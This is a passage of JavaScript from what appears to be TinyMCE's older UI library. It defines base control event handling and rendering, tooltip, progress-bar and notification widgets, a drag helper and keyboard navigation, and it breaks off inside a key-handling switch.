            bodyStyle = bodyElm.style;
            bodyStyle.width = (value >= 0 ? value : 0) + 'px';
          }
          lastRepaintRect.innerW = rect.innerW;
        }
        if (self._hasBody && rect.innerH !== lastRepaintRect.innerH) {
          value = round(rect.innerH);
          bodyElm = bodyElm || self.getEl('body');
          if (bodyElm) {
            bodyStyle = bodyStyle || bodyElm.style;
            bodyStyle.height = (value >= 0 ? value : 0) + 'px';
          }
          lastRepaintRect.innerH = rect.innerH;
        }
        self._lastRepaintRect = lastRepaintRect;
        self.fire('repaint', {}, false);
      },
      updateLayoutRect: function () {
        var self = this;
        self.parent()._lastRect = null;
        funcs.css(self.getEl(), {
          width: '',
          height: ''
        });
        self._layoutRect = self._lastRepaintRect = self._lastLayoutRect = null;
        self.initLayoutRect();
      },
      on: function (name, callback) {
        var self = this;
        function resolveCallbackName(name) {
          var callback, scope;
          if (typeof name !== 'string') {
            return name;
          }
          return function (e) {
            if (!callback) {
              self.parentsAndSelf().each(function (ctrl) {
                var callbacks = ctrl.settings.callbacks;
                if (callbacks && (callback = callbacks[name])) {
                  scope = ctrl;
                  return false;
                }
              });
            }
            if (!callback) {
              e.action = name;
              this.fire('execute', e);
              return;
            }
            return callback.call(scope, e);
          };
        }
        getEventDispatcher(self).on(name, resolveCallbackName(callback));
        return self;
      },
      off: function (name, callback) {
        getEventDispatcher(this).off(name, callback);
        return this;
      },
      fire: function (name, args, bubble) {
        var self = this;
        args = args || {};
        if (!args.control) {
          args.control = self;
        }
        args = getEventDispatcher(self).fire(name, args);
        if (bubble !== false && self.parent) {
          var parent = self.parent();
          while (parent && !args.isPropagationStopped()) {
            parent.fire(name, args, false);
            parent = parent.parent();
          }
        }
        return args;
      },
      hasEventListeners: function (name) {
        return getEventDispatcher(this).has(name);
      },
      parents: function (selector) {
        var self = this;
        var ctrl, parents = new Collection$2();
        for (ctrl = self.parent(); ctrl; ctrl = ctrl.parent()) {
          parents.add(ctrl);
        }
        if (selector) {
          parents = parents.filter(selector);
        }
        return parents;
      },
      parentsAndSelf: function (selector) {
        return new Collection$2(this).add(this.parents(selector));
      },
      next: function () {
        var parentControls = this.parent().items();
        return parentControls[parentControls.indexOf(this) + 1];
      },
      prev: function () {
        var parentControls = this.parent().items();
        return parentControls[parentControls.indexOf(this) - 1];
      },
      innerHtml: function (html) {
        this.$el.html(html);
        return this;
      },
      getEl: function (suffix) {
        var id = suffix ? this._id + '-' + suffix : this._id;
        if (!this._elmCache[id]) {
          this._elmCache[id] = global$7('#' + id)[0];
        }
        return this._elmCache[id];
      },
      show: function () {
        return this.visible(true);
      },
      hide: function () {
        return this.visible(false);
      },
      focus: function () {
        try {
          this.getEl().focus();
        } catch (ex) {
        }
        return this;
      },
      blur: function () {
        this.getEl().blur();
        return this;
      },
      aria: function (name, value) {
        var self = this, elm = self.getEl(self.ariaTarget);
        if (typeof value === 'undefined') {
          return self._aria[name];
        }
        self._aria[name] = value;
        if (self.state.get('rendered')) {
          elm.setAttribute(name === 'role' ? name : 'aria-' + name, value);
        }
        return self;
      },
      encode: function (text, translate) {
        if (translate !== false) {
          text = this.translate(text);
        }
        return (text || '').replace(/[&<>"]/g, function (match) {
          return '&#' + match.charCodeAt(0) + ';';
        });
      },
      translate: function (text) {
        return Control.translate ? Control.translate(text) : text;
      },
      before: function (items) {
        var self = this, parent = self.parent();
        if (parent) {
          parent.insert(items, parent.items().indexOf(self), true);
        }
        return self;
      },
      after: function (items) {
        var self = this, parent = self.parent();
        if (parent) {
          parent.insert(items, parent.items().indexOf(self));
        }
        return self;
      },
      remove: function () {
        var self = this;
        var elm = self.getEl();
        var parent = self.parent();
        var newItems, i;
        if (self.items) {
          var controls = self.items().toArray();
          i = controls.length;
          while (i--) {
            controls[i].remove();
          }
        }
        if (parent && parent.items) {
          newItems = [];
          parent.items().each(function (item) {
            if (item !== self) {
              newItems.push(item);
            }
          });
          parent.items().set(newItems);
          parent._lastRect = null;
        }
        if (self._eventsRoot && self._eventsRoot === self) {
          global$7(elm).off();
        }
        var lookup = self.getRoot().controlIdLookup;
        if (lookup) {
          delete lookup[self._id];
        }
        if (elm && elm.parentNode) {
          elm.parentNode.removeChild(elm);
        }
        self.state.set('rendered', false);
        self.state.destroy();
        self.fire('remove');
        return self;
      },
      renderBefore: function (elm) {
        global$7(elm).before(this.renderHtml());
        this.postRender();
        return this;
      },
      renderTo: function (elm) {
        global$7(elm || this.getContainerElm()).append(this.renderHtml());
        this.postRender();
        return this;
      },
      preRender: function () {
      },
      render: function () {
      },
      renderHtml: function () {
        return '<div id="' + this._id + '" class="' + this.classes + '"></div>';
      },
      postRender: function () {
        var self = this;
        var settings = self.settings;
        var elm, box, parent, name, parentEventsRoot;
        self.$el = global$7(self.getEl());
        self.state.set('rendered', true);
        for (name in settings) {
          if (name.indexOf('on') === 0) {
            self.on(name.substr(2), settings[name]);
          }
        }
        if (self._eventsRoot) {
          for (parent = self.parent(); !parentEventsRoot && parent; parent = parent.parent()) {
            parentEventsRoot = parent._eventsRoot;
          }
          if (parentEventsRoot) {
            for (name in parentEventsRoot._nativeEvents) {
              self._nativeEvents[name] = true;
            }
          }
        }
        bindPendingEvents(self);
        if (settings.style) {
          elm = self.getEl();
          if (elm) {
            elm.setAttribute('style', settings.style);
            elm.style.cssText = settings.style;
          }
        }
        if (self.settings.border) {
          box = self.borderBox;
          self.$el.css({
            'border-top-width': box.top,
            'border-right-width': box.right,
            'border-bottom-width': box.bottom,
            'border-left-width': box.left
          });
        }
        var root = self.getRoot();
        if (!root.controlIdLookup) {
          root.controlIdLookup = {};
        }
        root.controlIdLookup[self._id] = self;
        for (var key in self._aria) {
          self.aria(key, self._aria[key]);
        }
        if (self.state.get('visible') === false) {
          self.getEl().style.display = 'none';
        }
        self.bindStates();
        self.state.on('change:visible', function (e) {
          var state = e.value;
          var parentCtrl;
          if (self.state.get('rendered')) {
            self.getEl().style.display = state === false ? 'none' : '';
            self.getEl().getBoundingClientRect();
          }
          parentCtrl = self.parent();
          if (parentCtrl) {
            parentCtrl._lastRect = null;
          }
          self.fire(state ? 'show' : 'hide');
          ReflowQueue.add(self);
        });
        self.fire('postrender', {}, false);
      },
      bindStates: function () {
      },
      scrollIntoView: function (align) {
        function getOffset(elm, rootElm) {
          var x, y, parent = elm;
          x = y = 0;
          while (parent && parent !== rootElm && parent.nodeType) {
            x += parent.offsetLeft || 0;
            y += parent.offsetTop || 0;
            parent = parent.offsetParent;
          }
          return {
            x: x,
            y: y
          };
        }
        var elm = this.getEl(), parentElm = elm.parentNode;
        var x, y, width, height, parentWidth, parentHeight;
        var pos = getOffset(elm, parentElm);
        x = pos.x;
        y = pos.y;
        width = elm.offsetWidth;
        height = elm.offsetHeight;
        parentWidth = parentElm.clientWidth;
        parentHeight = parentElm.clientHeight;
        if (align === 'end') {
          x -= parentWidth - width;
          y -= parentHeight - height;
        } else if (align === 'center') {
          x -= parentWidth / 2 - width / 2;
          y -= parentHeight / 2 - height / 2;
        }
        parentElm.scrollLeft = x;
        parentElm.scrollTop = y;
        return this;
      },
      getRoot: function () {
        var ctrl = this, rootControl;
        var parents = [];
        while (ctrl) {
          if (ctrl.rootControl) {
            rootControl = ctrl.rootControl;
            break;
          }
          parents.push(ctrl);
          rootControl = ctrl;
          ctrl = ctrl.parent();
        }
        if (!rootControl) {
          rootControl = this;
        }
        var i = parents.length;
        while (i--) {
          parents[i].rootControl = rootControl;
        }
        return rootControl;
      },
      reflow: function () {
        ReflowQueue.remove(this);
        var parent = this.parent();
        if (parent && parent._layout && !parent._layout.isNative()) {
          parent.reflow();
        }
        return this;
      }
    };
    global$4.each('text title visible disabled active value'.split(' '), function (name) {
      proto$1[name] = function (value) {
        if (arguments.length === 0) {
          return this.state.get(name);
        }
        if (typeof value !== 'undefined') {
          this.state.set(name, value);
        }
        return this;
      };
    });
    Control = global$8.extend(proto$1);
    function getEventDispatcher(obj) {
      if (!obj._eventDispatcher) {
        obj._eventDispatcher = new global$9({
          scope: obj,
          toggleEvent: function (name, state) {
            if (state && global$9.isNative(name)) {
              if (!obj._nativeEvents) {
                obj._nativeEvents = {};
              }
              obj._nativeEvents[name] = true;
              if (obj.state.get('rendered')) {
                bindPendingEvents(obj);
              }
            }
          }
        });
      }
      return obj._eventDispatcher;
    }
    function bindPendingEvents(eventCtrl) {
      var i, l, parents, eventRootCtrl, nativeEvents, name;
      function delegate(e) {
        var control = eventCtrl.getParentCtrl(e.target);
        if (control) {
          control.fire(e.type, e);
        }
      }
      function mouseLeaveHandler() {
        var ctrl = eventRootCtrl._lastHoverCtrl;
        if (ctrl) {
          ctrl.fire('mouseleave', { target: ctrl.getEl() });
          ctrl.parents().each(function (ctrl) {
            ctrl.fire('mouseleave', { target: ctrl.getEl() });
          });
          eventRootCtrl._lastHoverCtrl = null;
        }
      }
      function mouseEnterHandler(e) {
        var ctrl = eventCtrl.getParentCtrl(e.target), lastCtrl = eventRootCtrl._lastHoverCtrl, idx = 0, i, parents, lastParents;
        if (ctrl !== lastCtrl) {
          eventRootCtrl._lastHoverCtrl = ctrl;
          parents = ctrl.parents().toArray().reverse();
          parents.push(ctrl);
          if (lastCtrl) {
            lastParents = lastCtrl.parents().toArray().reverse();
            lastParents.push(lastCtrl);
            for (idx = 0; idx < lastParents.length; idx++) {
              if (parents[idx] !== lastParents[idx]) {
                break;
              }
            }
            for (i = lastParents.length - 1; i >= idx; i--) {
              lastCtrl = lastParents[i];
              lastCtrl.fire('mouseleave', { target: lastCtrl.getEl() });
            }
          }
          for (i = idx; i < parents.length; i++) {
            ctrl = parents[i];
            ctrl.fire('mouseenter', { target: ctrl.getEl() });
          }
        }
      }
      function fixWheelEvent(e) {
        e.preventDefault();
        if (e.type === 'mousewheel') {
          e.deltaY = -1 / 40 * e.wheelDelta;
          if (e.wheelDeltaX) {
            e.deltaX = -1 / 40 * e.wheelDeltaX;
          }
        } else {
          e.deltaX = 0;
          e.deltaY = e.detail;
        }
        e = eventCtrl.fire('wheel', e);
      }
      nativeEvents = eventCtrl._nativeEvents;
      if (nativeEvents) {
        parents = eventCtrl.parents().toArray();
        parents.unshift(eventCtrl);
        for (i = 0, l = parents.length; !eventRootCtrl && i < l; i++) {
          eventRootCtrl = parents[i]._eventsRoot;
        }
        if (!eventRootCtrl) {
          eventRootCtrl = parents[parents.length - 1] || eventCtrl;
        }
        eventCtrl._eventsRoot = eventRootCtrl;
        for (l = i, i = 0; i < l; i++) {
          parents[i]._eventsRoot = eventRootCtrl;
        }
        var eventRootDelegates = eventRootCtrl._delegates;
        if (!eventRootDelegates) {
          eventRootDelegates = eventRootCtrl._delegates = {};
        }
        for (name in nativeEvents) {
          if (!nativeEvents) {
            return false;
          }
          if (name === 'wheel' && !hasWheelEventSupport) {
            if (hasMouseWheelEventSupport) {
              global$7(eventCtrl.getEl()).on('mousewheel', fixWheelEvent);
            } else {
              global$7(eventCtrl.getEl()).on('DOMMouseScroll', fixWheelEvent);
            }
            continue;
          }
          if (name === 'mouseenter' || name === 'mouseleave') {
            if (!eventRootCtrl._hasMouseEnter) {
              global$7(eventRootCtrl.getEl()).on('mouseleave', mouseLeaveHandler).on('mouseover', mouseEnterHandler);
              eventRootCtrl._hasMouseEnter = 1;
            }
          } else if (!eventRootDelegates[name]) {
            global$7(eventRootCtrl.getEl()).on(name, delegate);
            eventRootDelegates[name] = true;
          }
          nativeEvents[name] = false;
        }
      }
    }
    var Control$1 = Control;

    var isStatic = function (elm) {
      return funcs.getRuntimeStyle(elm, 'position') === 'static';
    };
    var isFixed = function (ctrl) {
      return ctrl.state.get('fixed');
    };
    function calculateRelativePosition(ctrl, targetElm, rel) {
      var ctrlElm, pos, x, y, selfW, selfH, targetW, targetH, viewport, size;
      viewport = getWindowViewPort();
      pos = funcs.getPos(targetElm, UiContainer.getUiContainer(ctrl));
      x = pos.x;
      y = pos.y;
      if (isFixed(ctrl) && isStatic(domGlobals.document.body)) {
        x -= viewport.x;
        y -= viewport.y;
      }
      ctrlElm = ctrl.getEl();
      size = funcs.getSize(ctrlElm);
      selfW = size.width;
      selfH = size.height;
      size = funcs.getSize(targetElm);
      targetW = size.width;
      targetH = size.height;
      rel = (rel || '').split('');
      if (rel[0] === 'b') {
        y += targetH;
      }
      if (rel[1] === 'r') {
        x += targetW;
      }
      if (rel[0] === 'c') {
        y += Math.round(targetH / 2);
      }
      if (rel[1] === 'c') {
        x += Math.round(targetW / 2);
      }
      if (rel[3] === 'b') {
        y -= selfH;
      }
      if (rel[4] === 'r') {
        x -= selfW;
      }
      if (rel[3] === 'c') {
        y -= Math.round(selfH / 2);
      }
      if (rel[4] === 'c') {
        x -= Math.round(selfW / 2);
      }
      return {
        x: x,
        y: y,
        w: selfW,
        h: selfH
      };
    }
    var getUiContainerViewPort = function (customUiContainer) {
      return {
        x: 0,
        y: 0,
        w: customUiContainer.scrollWidth - 1,
        h: customUiContainer.scrollHeight - 1
      };
    };
    var getWindowViewPort = function () {
      var win = domGlobals.window;
      var x = Math.max(win.pageXOffset, domGlobals.document.body.scrollLeft, domGlobals.document.documentElement.scrollLeft);
      var y = Math.max(win.pageYOffset, domGlobals.document.body.scrollTop, domGlobals.document.documentElement.scrollTop);
      var w = win.innerWidth || domGlobals.document.documentElement.clientWidth;
      var h = win.innerHeight || domGlobals.document.documentElement.clientHeight;
      return {
        x: x,
        y: y,
        w: w,
        h: h
      };
    };
    var getViewPortRect = function (ctrl) {
      var customUiContainer = UiContainer.getUiContainer(ctrl);
      return customUiContainer && !isFixed(ctrl) ? getUiContainerViewPort(customUiContainer) : getWindowViewPort();
    };
    var Movable = {
      testMoveRel: function (elm, rels) {
        var viewPortRect = getViewPortRect(this);
        for (var i = 0; i < rels.length; i++) {
          var pos = calculateRelativePosition(this, elm, rels[i]);
          if (isFixed(this)) {
            if (pos.x > 0 && pos.x + pos.w < viewPortRect.w && pos.y > 0 && pos.y + pos.h < viewPortRect.h) {
              return rels[i];
            }
          } else {
            if (pos.x > viewPortRect.x && pos.x + pos.w < viewPortRect.w + viewPortRect.x && pos.y > viewPortRect.y && pos.y + pos.h < viewPortRect.h + viewPortRect.y) {
              return rels[i];
            }
          }
        }
        return rels[0];
      },
      moveRel: function (elm, rel) {
        if (typeof rel !== 'string') {
          rel = this.testMoveRel(elm, rel);
        }
        var pos = calculateRelativePosition(this, elm, rel);
        return this.moveTo(pos.x, pos.y);
      },
      moveBy: function (dx, dy) {
        var self = this, rect = self.layoutRect();
        self.moveTo(rect.x + dx, rect.y + dy);
        return self;
      },
      moveTo: function (x, y) {
        var self = this;
        function constrain(value, max, size) {
          if (value < 0) {
            return 0;
          }
          if (value + size > max) {
            value = max - size;
            return value < 0 ? 0 : value;
          }
          return value;
        }
        if (self.settings.constrainToViewport) {
          var viewPortRect = getViewPortRect(this);
          var layoutRect = self.layoutRect();
          x = constrain(x, viewPortRect.w + viewPortRect.x, layoutRect.w);
          y = constrain(y, viewPortRect.h + viewPortRect.y, layoutRect.h);
        }
        var uiContainer = UiContainer.getUiContainer(self);
        if (uiContainer && isStatic(uiContainer) && !isFixed(self)) {
          x -= uiContainer.scrollLeft;
          y -= uiContainer.scrollTop;
        }
        if (uiContainer) {
          x += 1;
          y += 1;
        }
        if (self.state.get('rendered')) {
          self.layoutRect({
            x: x,
            y: y
          }).repaint();
        } else {
          self.settings.x = x;
          self.settings.y = y;
        }
        self.fire('move', {
          x: x,
          y: y
        });
        return self;
      }
    };

    var Tooltip = Control$1.extend({
      Mixins: [Movable],
      Defaults: { classes: 'widget tooltip tooltip-n' },
      renderHtml: function () {
        var self = this, prefix = self.classPrefix;
        return '<div id="' + self._id + '" class="' + self.classes + '" role="presentation">' + '<div class="' + prefix + 'tooltip-arrow"></div>' + '<div class="' + prefix + 'tooltip-inner">' + self.encode(self.state.get('text')) + '</div>' + '</div>';
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.getEl().lastChild.innerHTML = self.encode(e.value);
        });
        return self._super();
      },
      repaint: function () {
        var self = this;
        var style, rect;
        style = self.getEl().style;
        rect = self._layoutRect;
        style.left = rect.x + 'px';
        style.top = rect.y + 'px';
        style.zIndex = 65535 + 65535;
      }
    });

    var Widget = Control$1.extend({
      init: function (settings) {
        var self = this;
        self._super(settings);
        settings = self.settings;
        self.canFocus = true;
        if (settings.tooltip && Widget.tooltips !== false) {
          self.on('mouseenter', function (e) {
            var tooltip = self.tooltip().moveTo(-65535);
            if (e.control === self) {
              var rel = tooltip.text(settings.tooltip).show().testMoveRel(self.getEl(), [
                'bc-tc',
                'bc-tl',
                'bc-tr'
              ]);
              tooltip.classes.toggle('tooltip-n', rel === 'bc-tc');
              tooltip.classes.toggle('tooltip-nw', rel === 'bc-tl');
              tooltip.classes.toggle('tooltip-ne', rel === 'bc-tr');
              tooltip.moveRel(self.getEl(), rel);
            } else {
              tooltip.hide();
            }
          });
          self.on('mouseleave mousedown click', function () {
            self.tooltip().remove();
            self._tooltip = null;
          });
        }
        self.aria('label', settings.ariaLabel || settings.tooltip);
      },
      tooltip: function () {
        if (!this._tooltip) {
          this._tooltip = new Tooltip({ type: 'tooltip' });
          UiContainer.inheritUiContainer(this, this._tooltip);
          this._tooltip.renderTo();
        }
        return this._tooltip;
      },
      postRender: function () {
        var self = this, settings = self.settings;
        self._super();
        if (!self.parent() && (settings.width || settings.height)) {
          self.initLayoutRect();
          self.repaint();
        }
        if (settings.autofocus) {
          self.focus();
        }
      },
      bindStates: function () {
        var self = this;
        function disable(state) {
          self.aria('disabled', state);
          self.classes.toggle('disabled', state);
        }
        function active(state) {
          self.aria('pressed', state);
          self.classes.toggle('active', state);
        }
        self.state.on('change:disabled', function (e) {
          disable(e.value);
        });
        self.state.on('change:active', function (e) {
          active(e.value);
        });
        if (self.state.get('disabled')) {
          disable(true);
        }
        if (self.state.get('active')) {
          active(true);
        }
        return self._super();
      },
      remove: function () {
        this._super();
        if (this._tooltip) {
          this._tooltip.remove();
          this._tooltip = null;
        }
      }
    });

    var Progress = Widget.extend({
      Defaults: { value: 0 },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.classes.add('progress');
        if (!self.settings.filter) {
          self.settings.filter = function (value) {
            return Math.round(value);
          };
        }
      },
      renderHtml: function () {
        var self = this, id = self._id, prefix = this.classPrefix;
        return '<div id="' + id + '" class="' + self.classes + '">' + '<div class="' + prefix + 'bar-container">' + '<div class="' + prefix + 'bar"></div>' + '</div>' + '<div class="' + prefix + 'text">0%</div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        self._super();
        self.value(self.settings.value);
        return self;
      },
      bindStates: function () {
        var self = this;
        function setValue(value) {
          value = self.settings.filter(value);
          self.getEl().lastChild.innerHTML = value + '%';
          self.getEl().firstChild.firstChild.style.width = value + '%';
        }
        self.state.on('change:value', function (e) {
          setValue(e.value);
        });
        setValue(self.state.get('value'));
        return self._super();
      }
    });

    var updateLiveRegion = function (ctx, text) {
      ctx.getEl().lastChild.textContent = text + (ctx.progressBar ? ' ' + ctx.progressBar.value() + '%' : '');
    };
    var Notification = Control$1.extend({
      Mixins: [Movable],
      Defaults: { classes: 'widget notification' },
      init: function (settings) {
        var self = this;
        self._super(settings);
        self.maxWidth = settings.maxWidth;
        if (settings.text) {
          self.text(settings.text);
        }
        if (settings.icon) {
          self.icon = settings.icon;
        }
        if (settings.color) {
          self.color = settings.color;
        }
        if (settings.type) {
          self.classes.add('notification-' + settings.type);
        }
        if (settings.timeout && (settings.timeout < 0 || settings.timeout > 0) && !settings.closeButton) {
          self.closeButton = false;
        } else {
          self.classes.add('has-close');
          self.closeButton = true;
        }
        if (settings.progressBar) {
          self.progressBar = new Progress();
        }
        self.on('click', function (e) {
          if (e.target.className.indexOf(self.classPrefix + 'close') !== -1) {
            self.close();
          }
        });
      },
      renderHtml: function () {
        var self = this;
        var prefix = self.classPrefix;
        var icon = '', closeButton = '', progressBar = '', notificationStyle = '';
        if (self.icon) {
          icon = '<i class="' + prefix + 'ico' + ' ' + prefix + 'i-' + self.icon + '"></i>';
        }
        notificationStyle = ' style="max-width: ' + self.maxWidth + 'px;' + (self.color ? 'background-color: ' + self.color + ';"' : '"');
        if (self.closeButton) {
          closeButton = '<button type="button" class="' + prefix + 'close" aria-hidden="true">\xD7</button>';
        }
        if (self.progressBar) {
          progressBar = self.progressBar.renderHtml();
        }
        return '<div id="' + self._id + '" class="' + self.classes + '"' + notificationStyle + ' role="presentation">' + icon + '<div class="' + prefix + 'notification-inner">' + self.state.get('text') + '</div>' + progressBar + closeButton + '<div style="clip: rect(1px, 1px, 1px, 1px);height: 1px;overflow: hidden;position: absolute;width: 1px;"' + ' aria-live="assertive" aria-relevant="additions" aria-atomic="true"></div>' + '</div>';
      },
      postRender: function () {
        var self = this;
        global$3.setTimeout(function () {
          self.$el.addClass(self.classPrefix + 'in');
          updateLiveRegion(self, self.state.get('text'));
        }, 100);
        return self._super();
      },
      bindStates: function () {
        var self = this;
        self.state.on('change:text', function (e) {
          self.getEl().firstChild.innerHTML = e.value;
          updateLiveRegion(self, e.value);
        });
        if (self.progressBar) {
          self.progressBar.bindStates();
          self.progressBar.state.on('change:value', function (e) {
            updateLiveRegion(self, self.state.get('text'));
          });
        }
        return self._super();
      },
      close: function () {
        var self = this;
        if (!self.fire('close').isDefaultPrevented()) {
          self.remove();
        }
        return self;
      },
      repaint: function () {
        var self = this;
        var style, rect;
        style = self.getEl().style;
        rect = self._layoutRect;
        style.left = rect.x + 'px';
        style.top = rect.y + 'px';
        style.zIndex = 65535 - 1;
      }
    });

    function NotificationManagerImpl (editor) {
      var getEditorContainer = function (editor) {
        return editor.inline ? editor.getElement() : editor.getContentAreaContainer();
      };
      var getContainerWidth = function () {
        var container = getEditorContainer(editor);
        return funcs.getSize(container).width;
      };
      var prePositionNotifications = function (notifications) {
        each(notifications, function (notification) {
          notification.moveTo(0, 0);
        });
      };
      var positionNotifications = function (notifications) {
        if (notifications.length > 0) {
          var firstItem = notifications.slice(0, 1)[0];
          var container = getEditorContainer(editor);
          firstItem.moveRel(container, 'tc-tc');
          each(notifications, function (notification, index) {
            if (index > 0) {
              notification.moveRel(notifications[index - 1].getEl(), 'bc-tc');
            }
          });
        }
      };
      var reposition = function (notifications) {
        prePositionNotifications(notifications);
        positionNotifications(notifications);
      };
      var open = function (args, closeCallback) {
        var extendedArgs = global$4.extend(args, { maxWidth: getContainerWidth() });
        var notif = new Notification(extendedArgs);
        notif.args = extendedArgs;
        if (extendedArgs.timeout > 0) {
          notif.timer = setTimeout(function () {
            notif.close();
            closeCallback();
          }, extendedArgs.timeout);
        }
        notif.on('close', function () {
          closeCallback();
        });
        notif.renderTo();
        return notif;
      };
      var close = function (notification) {
        notification.close();
      };
      var getArgs = function (notification) {
        return notification.args;
      };
      return {
        open: open,
        close: close,
        reposition: reposition,
        getArgs: getArgs
      };
    }

    function getDocumentSize(doc) {
      var documentElement, body, scrollWidth, clientWidth;
      var offsetWidth, scrollHeight, clientHeight, offsetHeight;
      var max = Math.max;
      documentElement = doc.documentElement;
      body = doc.body;
      scrollWidth = max(documentElement.scrollWidth, body.scrollWidth);
      clientWidth = max(documentElement.clientWidth, body.clientWidth);
      offsetWidth = max(documentElement.offsetWidth, body.offsetWidth);
      scrollHeight = max(documentElement.scrollHeight, body.scrollHeight);
      clientHeight = max(documentElement.clientHeight, body.clientHeight);
      offsetHeight = max(documentElement.offsetHeight, body.offsetHeight);
      return {
        width: scrollWidth < offsetWidth ? clientWidth : scrollWidth,
        height: scrollHeight < offsetHeight ? clientHeight : scrollHeight
      };
    }
    function updateWithTouchData(e) {
      var keys, i;
      if (e.changedTouches) {
        keys = 'screenX screenY pageX pageY clientX clientY'.split(' ');
        for (i = 0; i < keys.length; i++) {
          e[keys[i]] = e.changedTouches[0][keys[i]];
        }
      }
    }
    function DragHelper (id, settings) {
      var $eventOverlay;
      var doc = settings.document || domGlobals.document;
      var downButton;
      var start, stop, drag, startX, startY;
      settings = settings || {};
      var handleElement = doc.getElementById(settings.handle || id);
      start = function (e) {
        var docSize = getDocumentSize(doc);
        var handleElm, cursor;
        updateWithTouchData(e);
        e.preventDefault();
        downButton = e.button;
        handleElm = handleElement;
        startX = e.screenX;
        startY = e.screenY;
        if (domGlobals.window.getComputedStyle) {
          cursor = domGlobals.window.getComputedStyle(handleElm, null).getPropertyValue('cursor');
        } else {
          cursor = handleElm.runtimeStyle.cursor;
        }
        $eventOverlay = global$7('<div></div>').css({
          position: 'absolute',
          top: 0,
          left: 0,
          width: docSize.width,
          height: docSize.height,
          zIndex: 2147483647,
          opacity: 0.0001,
          cursor: cursor
        }).appendTo(doc.body);
        global$7(doc).on('mousemove touchmove', drag).on('mouseup touchend', stop);
        settings.start(e);
      };
      drag = function (e) {
        updateWithTouchData(e);
        if (e.button !== downButton) {
          return stop(e);
        }
        e.deltaX = e.screenX - startX;
        e.deltaY = e.screenY - startY;
        e.preventDefault();
        settings.drag(e);
      };
      stop = function (e) {
        updateWithTouchData(e);
        global$7(doc).off('mousemove touchmove', drag).off('mouseup touchend', stop);
        $eventOverlay.remove();
        if (settings.stop) {
          settings.stop(e);
        }
      };
      this.destroy = function () {
        global$7(handleElement).off();
      };
      global$7(handleElement).on('mousedown touchstart', start);
    }

    var global$b = tinymce.util.Tools.resolve('tinymce.ui.Factory');

    var hasTabstopData = function (elm) {
      return elm.getAttribute('data-mce-tabstop') ? true : false;
    };
    function KeyboardNavigation (settings) {
      var root = settings.root;
      var focusedElement, focusedControl;
      function isElement(node) {
        return node && node.nodeType === 1;
      }
      try {
        focusedElement = domGlobals.document.activeElement;
      } catch (ex) {
        focusedElement = domGlobals.document.body;
      }
      focusedControl = root.getParentCtrl(focusedElement);
      function getRole(elm) {
        elm = elm || focusedElement;
        if (isElement(elm)) {
          return elm.getAttribute('role');
        }
        return null;
      }
      function getParentRole(elm) {
        var role, parent = elm || focusedElement;
        while (parent = parent.parentNode) {
          if (role = getRole(parent)) {
            return role;
          }
        }
      }
      function getAriaProp(name) {
        var elm = focusedElement;
        if (isElement(elm)) {
          return elm.getAttribute('aria-' + name);
        }
      }
      function isTextInputElement(elm) {
        var tagName = elm.tagName.toUpperCase();
        return tagName === 'INPUT' || tagName === 'TEXTAREA' || tagName === 'SELECT';
      }
      function canFocus(elm) {
        if (isTextInputElement(elm) && !elm.hidden) {
          return true;
        }
        if (hasTabstopData(elm)) {
          return true;
        }
        if (/^(button|menuitem|checkbox|tab|menuitemcheckbox|option|gridcell|slider)$/.test(getRole(elm))) {
          return true;
        }
        return false;
      }
      function getFocusElements(elm) {
        var elements = [];
        function collect(elm) {
          if (elm.nodeType !== 1 || elm.style.display === 'none' || elm.disabled) {
            return;
          }
          if (canFocus(elm)) {
            elements.push(elm);
          }
          for (var i = 0; i < elm.childNodes.length; i++) {
            collect(elm.childNodes[i]);
          }
        }
        collect(elm || root.getEl());
        return elements;
      }
      function getNavigationRoot(targetControl) {
        var navigationRoot, controls;
        targetControl = targetControl || focusedControl;
        controls = targetControl.parents().toArray();
        controls.unshift(targetControl);
        for (var i = 0; i < controls.length; i++) {
          navigationRoot = controls[i];
          if (navigationRoot.settings.ariaRoot) {
            break;
          }
        }
        return navigationRoot;
      }
      function focusFirst(targetControl) {
        var navigationRoot = getNavigationRoot(targetControl);
        var focusElements = getFocusElements(navigationRoot.getEl());
        if (navigationRoot.settings.ariaRemember && 'lastAriaIndex' in navigationRoot) {
          moveFocusToIndex(navigationRoot.lastAriaIndex, focusElements);
        } else {
          moveFocusToIndex(0, focusElements);
        }
      }
      function moveFocusToIndex(idx, elements) {
        if (idx < 0) {
          idx = elements.length - 1;
        } else if (idx >= elements.length) {
          idx = 0;
        }
        if (elements[idx]) {
          elements[idx].focus();
        }
        return idx;
      }
      function moveFocus(dir, elements) {
        var idx = -1;
        var navigationRoot = getNavigationRoot();
        elements = elements || getFocusElements(navigationRoot.getEl());
        for (var i = 0; i < elements.length; i++) {
          if (elements[i] === focusedElement) {
            idx = i;
          }
        }
        idx += dir;
        navigationRoot.lastAriaIndex = moveFocusToIndex(idx, elements);
      }
      function left() {
        var parentRole = getParentRole();
        if (parentRole === 'tablist') {
          moveFocus(-1, getFocusElements(focusedElement.parentNode));
        } else if (focusedControl.parent().submenu) {
          cancel();
        } else {
          moveFocus(-1);
        }
      }
      function right() {
        var role = getRole(), parentRole = getParentRole();
        if (parentRole === 'tablist') {
          moveFocus(1, getFocusElements(focusedElement.parentNode));
        } else if (role === 'menuitem' && parentRole === 'menu' && getAriaProp('haspopup')) {
          enter();
        } else {
          moveFocus(1);
        }
      }
      function up() {
        moveFocus(-1);
      }
      function down() {
        var role = getRole(), parentRole = getParentRole();
        if (role === 'menuitem' && parentRole === 'menubar') {
          enter();
        } else if (role === 'button' && getAriaProp('haspopup')) {
          enter({ key: 'down' });
        } else {
          moveFocus(1);
        }
      }
      function tab(e) {
        var parentRole = getParentRole();
        if (parentRole === 'tablist') {
          var elm = getFocusElements(focusedControl.getEl('body'))[0];
          if (elm) {
            elm.focus();
          }
        } else {
          moveFocus(e.shiftKey ? -1 : 1);
        }
      }
      function cancel() {
        focusedControl.fire('cancel');
      }
      function enter(aria) {
        aria = aria || {};
        focusedControl.fire('click', {
          target: focusedElement,
          aria: aria
        });
      }
      root.on('keydown', function (e) {
        function handleNonTabOrEscEvent(e, handler) {
          if (isTextInputElement(focusedElement) || hasTabstopData(focusedElement)) {
            return;
          }
          if (getRole(focusedElement) === 'slider') {
            return;
          }
          if (handler(e) !== false) {
            e.preventDefault();
          }
        }
        if (e.isDefaultPrevented()) {
          return;
        }
        switch (e.keyCode) {
        case 37:
          handleNonTabOrEscEvent(e, left);
          break;
        case 39:
          handleNonTabOrEscEvent(e, right);
          break;
